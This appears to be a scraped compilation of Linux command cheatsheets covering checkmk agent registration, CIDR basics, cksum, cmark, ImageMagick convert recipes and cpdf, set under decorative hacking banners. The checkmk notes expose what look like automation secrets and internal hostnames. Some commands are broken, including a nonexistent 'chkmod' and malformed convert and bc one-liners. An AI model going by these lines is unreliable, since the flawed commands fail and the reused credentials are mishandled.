# To list available cheatsheets
cheat -l
# To search available cheatsheets
cheat -s <command>
# To get the current `cheat' version
cheat -v
#==============================##==============================#
# CMD cheat #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command cheat in a clear format. This allows users to quickly access the needed information for cheat without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for cheat are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
13 - 🖥️checkmk
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the checkmk command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗██╗ ██╗███████╗ ██████╗██╗ ██╗███╗ ███╗██╗ ██╗
# ██╔════╝██║ ██║██╔════╝██╔════╝██║ ██╔╝████╗ ████║██║ ██╔╝
# ██║ ███████║█████╗ ██║ █████╔╝ ██╔████╔██║█████╔╝
# ██║ ██╔══██║██╔══╝ ██║ ██╔═██╗ ██║╚██╔╝██║██╔═██╗
# ╚██████╗██║ ██║███████╗╚██████╗██║ ██╗██║ ╚═╝ ██║██║ ██╗
# ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝
apt-get upgrade
-> bei Grub 2 Option /dev/sda
dpkg -i check-mk-agent_1.4.0i1_all.deb
apt-get install python-requests
apt-get purge `dpkg -l | awk '/^rc/ { print $2 }'`
-> löscht lib32gcc1* libc6-i386*
apt-get purge -y check-mk-agent-logwatch
apt-get purge -y check-mk-agent
cmk-update-agent -vvv -r
cmk-update-agent register -v --secret SECRET
nwl...
admin_registration
chkconfig isc-dhcp-server off
# Portfreigaben
#----------------#
source ip:
monitoring: 10.250.250.10
nagios: 10.250.250.1
check_mk: TCP 6556
snmp: UDP 161
snmp Trap: UDP162
apt-get purge libldb1 libsmbclient python-ldb python-samba samba-common samba-common-bin samba-libs smbclient
apt-get autoremove
-> löscht
libasn1-8-heimdal libavahi-client3 libavahi-common-data libavahi-common3 libcups2 libgssapi3-heimdal
libhcrypto4-heimdal libheimbase1-heimdal libheimntlm0-heimdal libhx509-5-heimdal libkrb5-26-heimdal libntdb1
libpython2.7 libroken18-heimdal libtalloc2 libtdb1 libtevent0 libwbclient0 libwind0-heimdal python-crypto python-ntdb
python-talloc python-tdb
shutdown -r now
#######################
scp check-mk-agent_1.2.8p18_all.deb unix-srv003.lxu.io:/root/
ssh unix-srv003.lxu.io
apt purge check-mk-agent
dpkg -i check-mk-agent_1.2.8p18_all.deb
cmk-update-agent register -vvv --secret SECRET
#####################
# check_mk
#################
ERROR Cannot fetch deployment URL via curl: Couldnt resolve host. The given remote host was not resolved.
[email protected] # /usr/bin/cmk-update-agent register -s monitor.lxu.io -i master -H `hostname` -p http -U omdadmin -S ASFKWEOUPPEFKG -v
# Here in this command:
# -s is monitoring server
# -i is Name of Check_MK site on that server
# -H is Host name to fetch agent for
# -p is protocol Either http or https (default is https)
# -U User-ID of a user who is allowed to download the agent.
# -S is secret. Automation secret of that user (in case of automation user)
# From error you can figure out that command is not able to resolve monitoring server DNS name monitor.lxu.io
# Solution :
# Its pretty simple. Check /etc/resolv.conf to make sure that you have proper DNS server entry for your environment. If it still dosnt resolve issue then you can add entry in /etc/hosts for it.
# cat /etc/hosts
10.0.10.9 monitor.lxu.io
# Thats it. You would be able to register now successfully.
/usr/bin/cmk-update-agent register -s monitor.lxu.io -i master -H `hostname` -p http -U omdadmin -S ASFKWEUZOOSHEFKG -v
# Going to register agent at deployment server
# Successfully registered agent for deployment.
# You can now update your agent by running 'cmk-update-agent -v'
# Saved your registration settings to /etc/cmk-update-agent.state.
# By the way you can directly use IP address for -s switch and get rid of all above jargon including error itself!
###############################
# check_snmp_env.pl
/opt/omd/sites/nagios/local/lib/nagios/plugins
# Hier liegen die Perl Scripte der Checks
/opt/omd/sites/nagios/etc/nagios/conf.d/config/generic
# domaincontroller:
domaincontroller.lxu.io
#==============================##==============================#
# CMD AWK #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command checkmk in a clear format. This allows users to quickly access the needed information for checkmk without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for checkmk are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
14 - 🖥️chkmod
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the chkmod command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗██╗ ██╗██╗ ██╗███╗ ███╗ ██████╗ ██████╗
# ██╔════╝██║ ██║██║ ██╔╝████╗ ████║██╔═══██╗██╔══██╗
# ██║ ███████║█████╔╝ ██╔████╔██║██║ ██║██║ ██║
# ██║ ██╔══██║██╔═██╗ ██║╚██╔╝██║██║ ██║██║ ██║
# ╚██████╗██║ ██║██║ ██╗██║ ╚═╝ ██║╚██████╔╝██████╔╝
# ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝
# hardcode dnsserver, no more rewriting of etc/resolv.conf -> The while loop is an overkill, it would be simpler to prevent the file to be modified. That said, none of the proposed solutions are such: a real one would go to the source of the problem.
chkmod -w /etc/resolve.conf
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command chkmod in a clear format. This allows users to quickly access the needed information for chkmod without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for chkmod are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
15 - 🖥️cidr
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cidr command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗██╗██████╗ ██████╗
# ██╔════╝██║██╔══██╗██╔══██╗
# ██║ ██║██║ ██║██████╔╝
# ██║ ██║██║ ██║██╔══██╗
# ╚██████╗██║██████╔╝██║ ██║
# ╚═════╝╚═╝╚═════╝ ╚═╝ ╚═╝
# cidr - Classless Inter-Domain Routing
# Before CIDR and Variable Length Subnet Masks, IP addresses had fixed subnet masks
# Class C had a 24 bit prefix (/24), Class B had a 16 bit prefix (/16), and Class A had an 8 bit prefix (/8)
# Note: The prefix determines how many addresses are covered by the CIDR address. The prefix is the number of bits reserved for the network portion of the address
# An IP address consists of a host and a network portion
# The 32 bit string below represents a /16 network since 16 bits are dedicated to the network portion of the address
# Network bits / Host bits
11111111 11111111 / 00000000 00000000
# As an example, if we were to make a subnet with only 2 addresses on the 3.3.3.0 network, the network prefix would be /31
# If we view this in binary it would look like:
00000011.00000011.00000011.00000000 (3.3.3.0)
# The subnet mask then becomes
11111111.11111111.11111111.11111110 (/31)
# In the subnet mask above, only one bit is available for modification, so the only two available IP addresses would be:
3.3.3.0 and 3.3.3.1
# 3.3.3.2 would represent the start of another subnet
# If we changed the prefix to /30, the new IP address range would be
3.3.3.0 - 3.3.3.3
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command cidr in a clear format. This allows users to quickly access the needed information for cidr without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for cidr are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
16 - 🖥️cksum
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cksum command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗██╗ ██╗███████╗██╗ ██╗███╗ ███╗
# ██╔════╝██║ ██╔╝██╔════╝██║ ██║████╗ ████║
# ██║ █████╔╝ ███████╗██║ ██║██╔████╔██║
# ██║ ██╔═██╗ ╚════██║██║ ██║██║╚██╔╝██║
# ╚██████╗██║ ██╗███████║╚██████╔╝██║ ╚═╝ ██║
# ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝
Cksum
The cksum command prints the CRC checksum and byte count for the input file.
cksum test.txt
3741370333 20 test.txt
#==============================##==============================#
# CMD cksum #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command cksum in a clear format. This allows users to quickly access the needed information for cksum without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for cksum are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
17 - 🖥️cmark
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cmark command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗███╗ ███╗ █████╗ ██████╗ ██╗ ██╗
# ██╔════╝████╗ ████║██╔══██╗██╔══██╗██║ ██╔╝
# ██║ ██╔████╔██║███████║██████╔╝█████╔╝
# ██║ ██║╚██╔╝██║██╔══██║██╔══██╗██╔═██╗
# ╚██████╗██║ ╚═╝ ██║██║ ██║██║ ██║██║ ██╗
# ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝
# Wrap and beautify markdown
cmark -t commonmark --width 81 in.md > out.md
# Markdown style output from tree
tree -F -L 2 | col -x | tr -d '│' | tr -d '├' | tr -d '└' | tr '─' '-' | cut -b 2- | sed 's/--/-/g' | sed '$d'
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command cmark in a clear format. This allows users to quickly access the needed information for cmark without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for cmark are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
18 - 🖥️convert
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the convert command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗ ███╗ ██╗██╗ ██╗███████╗██████╗ ████████╗
# ██╔════╝██╔═══██╗████╗ ██║██║ ██║██╔════╝██╔══██╗╚══██╔══╝
# ██║ ██║ ██║██╔██╗ ██║██║ ██║█████╗ ██████╔╝ ██║
# ██║ ██║ ██║██║╚██╗██║╚██╗ ██╔╝██╔══╝ ██╔══██╗ ██║
# ╚██████╗╚██████╔╝██║ ╚████║ ╚████╔╝ ███████╗██║ ██║ ██║
# ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝ ╚═╝
# To resize an image to a fixed width and proportional height:
convert original-image.jpg -resize 100x converted-image.jpg
# To resize an image to a fixed height and proportional width:
convert original-image.jpg -resize x100 converted-image.jpg
# To resize an image to a fixed width and height:
convert original-image.jpg -resize 100x100 converted-image.jpg
# To resize an image and simultaneously change its file type:
convert original-image.jpg -resize 100x converted-image.png
# To resize all of the images within a directory:
# To implement a for loop:
for file in `ls original/image/path/`;
do new_path=${file%.*};
new_file=`basename $new_path`;
convert $file -resize 150 conerted/image/path/$new_file.png;
done
# Make text annotatation (text = Flower)
convert flower.jpg -font courier -fill white -pointsize 20 -annotate +50+50 'Flower' flower_annotate1.jpg
# Crop an image
convert flower.jpg -crop 128×128+50+50 flower_crop.jpg
# Rotate an image
convert flower.jpg -rotate 45 flower_rotate45.jpg
# Add a border
convert -border 1x1 -bordercolor "#FFFFFF" image.png new-image.png
# Convert PNG to JPEG (with 70% quality)
convert -quality 70 image.png new_image.jpg
#==============================#
# CMD convert
#==============================##==============================#
convert -size 500x300 xc:white -fill xc:'#CABB1E' -draw "polygon 35,140 115,130 150,55 310,55 350,130 460,150 460,210 35,210" cabbie.png
#
convert +level-colors Firebrick, me.jpg oldme.jpg
# Mark Zuckerburg could've saved a billion if he knew about ImageMagick. (Instagram)
convert -size 1280x720 plasma:green-blue background.png
# Create a 1280x720 color plasma image. Different each time. Uses ImageMagick
convert -size 413x314 xc:tan -fill red -pointsize 200 -gravity center -draw "text 0,0 '3.14'" -flop pie.png
# Req. ImageMagick #pi #piday
convert -size 2420x1580 plasma:fractal -blur 2x2 -swirl 270 -crop 1920x1080+250+250 swirlbg.png
# Swirly plasma background. Uses ImageMagick
scanimage --format=tiff --mode Color | convert tiff:- ~/Scans/$(date "+%Y-%m-%d_%H:%M:%S").jpg
# Scan directly w/ cur date.
convert bluethumb.png -modulate 100,100,50 greenthumb.png
# Change the hue of an image by -90 degrees. 50 = ( -90 * 100/180 ) + 100
##############
## Converting Images to Movie
###############################
# How to turn a series of numbered images into an mpeg or avi movie using free software This is mainly oriented towards Unix systems (MacOSX / Linux / Unix) but some things also work on Windows
# It is assumed that the image files are something like name001.jpg, name002.jpg, name003.jpg, etc. Here is a quick summary and links to fuller information: for more extensive discussion and other options see here, with specific information about using ffmpeg here and about ppmtompeg here.
#-----------------------------------------------------#
# Step 0: Getting the image files in the right format #
#-----------------------------------------------------#
# It may be necessary to convert your image files before encoding them. For example, mencoder seems to need jpgs. The most convenient command for this is "convert", part of the ImageMagick package that comes with most Linux distributions and for the Mac can be downloaded using fink.
# e.g., to convert a single ppm image to jpg:
convert -quality 100 image123.ppm image123.jpg
# For a series of images, use something like:
for f in *.ppm; do convert -quality 100 $f `basename $f .ppm`.jpg; done
# (if this does not work on the command line, put into an ascii file e.g., script then run using 'sh script').
# Use 'convert'
#--------------------------#
# convert is part of the ImageMagick package, which comes with many Linux distributions. For Mac it can be downloaded using fink.
# mpeg: To convert images to an mpeg movie it is necessary to also install mpeg2encode, which is available from the same places (note, this may be in the 'unstable' branch of fink). To convert a series of numbered ppm files to an mpg movie:
convert -delay 6 -quality 95 test*ppm movie.mpg
# -delay and -quality flags are optional. If -delay is set >4, it will add extra frames to make the movie run more slowly, thereby increasing the size of the file. The default quality is 75 and maximum is 100.
# animated gif: e.g.,
convert -delay 20 test*ppm movie.gif
# After this, the animated gif can be converted to mov format using quicktime pro.
convert -size 150x100 xc:white -fill red -draw 'circle 75,50 75,75' flagofjapan.png
# Make the flag of Japan with ImageMagick.
convert 1.jpg <( curl http://wttr.in/Oymyakon_tqp0.png … ) -geometry +50+50 -composite 2.jpg
# How to add weather data to your photos
convert spin.gif -coalesce -gravity NorthEast -draw 'image over 0,0 0,0 "credit.png"' -layers Optimize spin2.gif
# Add image to anim gif.
# append two imgaes horizontal
convert +append pic1.jpg pic2.jpg output.jpg
#create ICO file with more than one image
# requires imagemagick. -background transparent is of course optional. for older version use:
convert image.png -bordercolor white -border 0 \
\( -clone 0 -resize 16x16 \) \
\( -clone 0 -resize 32x32 \) \
\( -clone 0 -resize 48x48 \) \
\( -clone 0 -resize 64x64 \) \
-delete 0 -alpha off -colors 256 favicon.ico
or
convert -resize x16 -gravity center -crop 16x16+0+0 input.png -flatten -colors 256 favicon.ico
convert -background transparent input.png -define icon:auto-resize=16,32,48,64,128 favicon.ico
# Celebrate Friday in style
T="It's Friday\!";a="-annotate +25+65";convert -size 420x100 xc:lightblue -font Candice -pointsize 72 -fill white -stroke black -strokewidth 15 $a "$T" -stroke white -strokewidth 10 $a "$T" -stroke black -strokewidth 5 $a "$T" -stroke none $a "$T"
# How to create a favicon from an image - Here are all the available options for the imagemagick convert command. https://www.imagemagick.org/script/command-line-options.php
convert <your-image-here> -define icon:auto-resize=256,64,48,32,16 favicon.ico
convert -size 1920x1080 plasma:fractal background.png
# Create an HD color plasma image. Different each time. Uses ImageMagick
convert +level-colors Firebrick, me.jpg oldme.jpg
# Apply a moody color filter to your photo.
convert -evaluate-sequence Min $( for i in $( seq 34 7 99 ) ; do echo $i.png ; done ) every7th-frame.jpg
# http://bit.ly/19pNPV9
# Repeat the previous command but with a string replacement
^geomtry^geometry
# Explanation: This can be very useful for example after a mistyped command like this:
convert -crop 745x845+0+150 my_logo.png -geomtry 400x my_logo2.png
^geomtry^geometry
# "-geomtry" should have been "-geometry", the one-liner above will re-run the command with a replacement that fixes the typo.
# Create a thumbnail from the first page of a PDF file
convert -thumbnail x80 file.pdf[0] thumb.png
# Explanation:
# convert is part of ImageMagick image manipulation tool
# -thumbnail x80 means create a thumbnail image of height 80 pixels, the width will be automatically chosen to make the image proportional
# The [0] is to create a thumbnail for the first page only, without that a thumbnail image would be created for each page in the pdf file
# To do this for all PDF files in a directory tree:
find /path/to/dir -name '*.pdf' -exec convert -thumbnail x80 {}[0] {}-thumb.png \;
# Limitations: Requires the ImageMagick image manipulation tool.
# Create a transparent image of given dimensions
convert -size 100x100 xc:none transparency.png
# Explanation:
# convert is a tool that's part of the ImageMagick image manipulation library
# -size 100x100 specifies the dimensions of the image to create
# xc:none is a symbolic source image, indicating to convert "from nothing"
# transparency.png is the destination filename, the image format is automatically determined by the extension
# Limitations: Requires the ImageMagick image manipulation library.
# Take screenshots as needed by clicking on a window, then turn them into an animated gif with half-second frame lengths.
for i in {01..20}.png ; do scrot -s $i ; echo $i ; done ; convert -delay 50 {01..20}.png -layers Optimize anim.gif
# chmod 777
convert -delay 100 0.png -delay 1 $(seq -f %g.png 1 3 119) -delay 200 120.png -delay 1 $(seq -f %g.png 119 -4 1) -layers optimize -loop 0 anim777.gif
C="254,278" PP="30,362 212,44 350,287 272,287 212,187 70,430"; convert -size 500x500 xc:\#101 -alpha on -stroke green -strokewidth 2 -fill \#1C1 -draw "polygon $PP" -distort SRT "$C 120" -fill \#1A1 -draw "polygon $PP" -distort SRT "$C 120" -fill \#181 -draw "polygon $PP" mce.png
T="Text";a="-annotate +0+0";convert -size 420x300 -gravity center radial-gradient:white-purple -font FontName -pointsize 72 -fill yellow -stroke pink -strokewidth 15 $a "$T" -stroke yellow -strokewidth 10 $a "$T" -stroke orange -strokewidth 5 $a "$T" -stroke none $a "$T" file.png
n=0;p=3.14159;for i in {0..360};do x=$(bc -l <<<"150*$p*2/360)*$i)"|numround);y=$(bc -l <<<"150*$p*c(($p*2/360)*$i)"|numround);echo $x,$y;done|while read c;do f=$(printf "%03d" $n);convert -size 300x300 xc:black -stroke green -draw "line 150,150 $c" $f.gif;n=$[n+1];done # Radar
# numround isn't necessary
for i in {0..360}; do c=`bc -l <<< "scale=3;pi=4*a(1);t=$i*pi/180;x=150*(1+s(t));y=150*(1+c(t));print x,\",\",y"`; convert -size 300x300 xc:black -stroke green -draw "line 150,150 $c" `printf %03d $i`.gif; done
# Concat jpgs into pdf – requires imagemajick
convert .jpg career-guide-private-equity.pdf
# Help your #Youtube videos standout in the crowd with these black thumbnails. Thanks Joshua ;)
convert -size 192x108 xc:black blackthumbnail.png
#==============================##==============================#
# CMD convert #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command convert in a clear format. This allows users to quickly access the needed information for convert without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for convert are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
19 - 🖥️cpdf
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the cpdf command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗██████╗ ██████╗ ███████╗
# ██╔════╝██╔══██╗██╔══██╗██╔════╝
# ██║ ██████╔╝██║ ██║█████╗
# ██║ ██╔═══╝ ██║ ██║██╔══╝
# ╚██████╗██║ ██████╔╝██║
# ╚═════╝╚═╝ ╚═════╝ ╚═╝
# Read in.pdf, select pages 1, 2, 3 and 6, and write those pages to
# out.pdf
cpdf in.pdf 1-3,6 -o out.pdf
# Select the even pages (2, 4, 6...) from in.pdf and write those pages
# to out.pdf
cpdf in.pdf even -o out.pdf
# Using AND to perform several operations in order, here merging two
# files together and adding a copyright stamp to every page.
cpdf -merge in.pdf in2.pdf AND -add-text "Copyright 2014" -o out.pdf
# Read control.txt and use its contents as the command line arguments
# for cpdf.
cpdf -control control.txt
# Merge in.pdf and in2.pdf into one document, writing to out.pdf.
cpdf -merge in.pdf in2.pdf -o out.pdf
# Split in.pdf into ten-page chunks, writing them to Chunk001.pdf,
# Chunk002.pdf etc
cpdf -split in.pdf -o Chunk%%%.pdf -chunk 10
# Split in.pdf on bookmark boundaries, writing each to a file whose
# name is the bookmark label
cpdf -split-bookmarks 0 in.pdf -o @N.pdf
# Scale both the dimensions and contents of in.pdf by a factor of two
# in x and y directions.
cpdf -scale-page "2 2" in.pdf -o out.pdf
# Scale the pages in in.pdf to fit the US Letter page size, writing to
# out.pdf
cpdf -scale-to-fit usletterportrait in.pdf -o out.pdf
# Shift the contents of the page by 26 pts in the x direction, and 18
# millimetres in the y direction, writing to out.pdf
cpdf -shift "26pt 18mm" in.pdf -o out.pdf
# Rotate the contents of the pages in in.pdf by ninety degrees and
# write to out.pdf.
cpdf -rotate-contents 90 in.pdf -o out.pdf
# Crop the pages in in.pdf to a 600 pts by 400 pts rectangle.
cpdf -crop "0 0 600pt 400pt" in.pdf -o out.pdf
# Encrypt using 128bit PDF encryption using the owner password 'fred'
# and the user password 'joe'
cpdf -encrypt 128bit fred joe in.pdf -o out.pdf
# Decrypt using the owner password, writing to out.pdf.
cpdf -decrypt in.pdf owner=fred -o out.pdf
# Compress the data streams in in.pdf, writing the result to out.pdf.
cpdf -compress in.pdf -o out.pdf
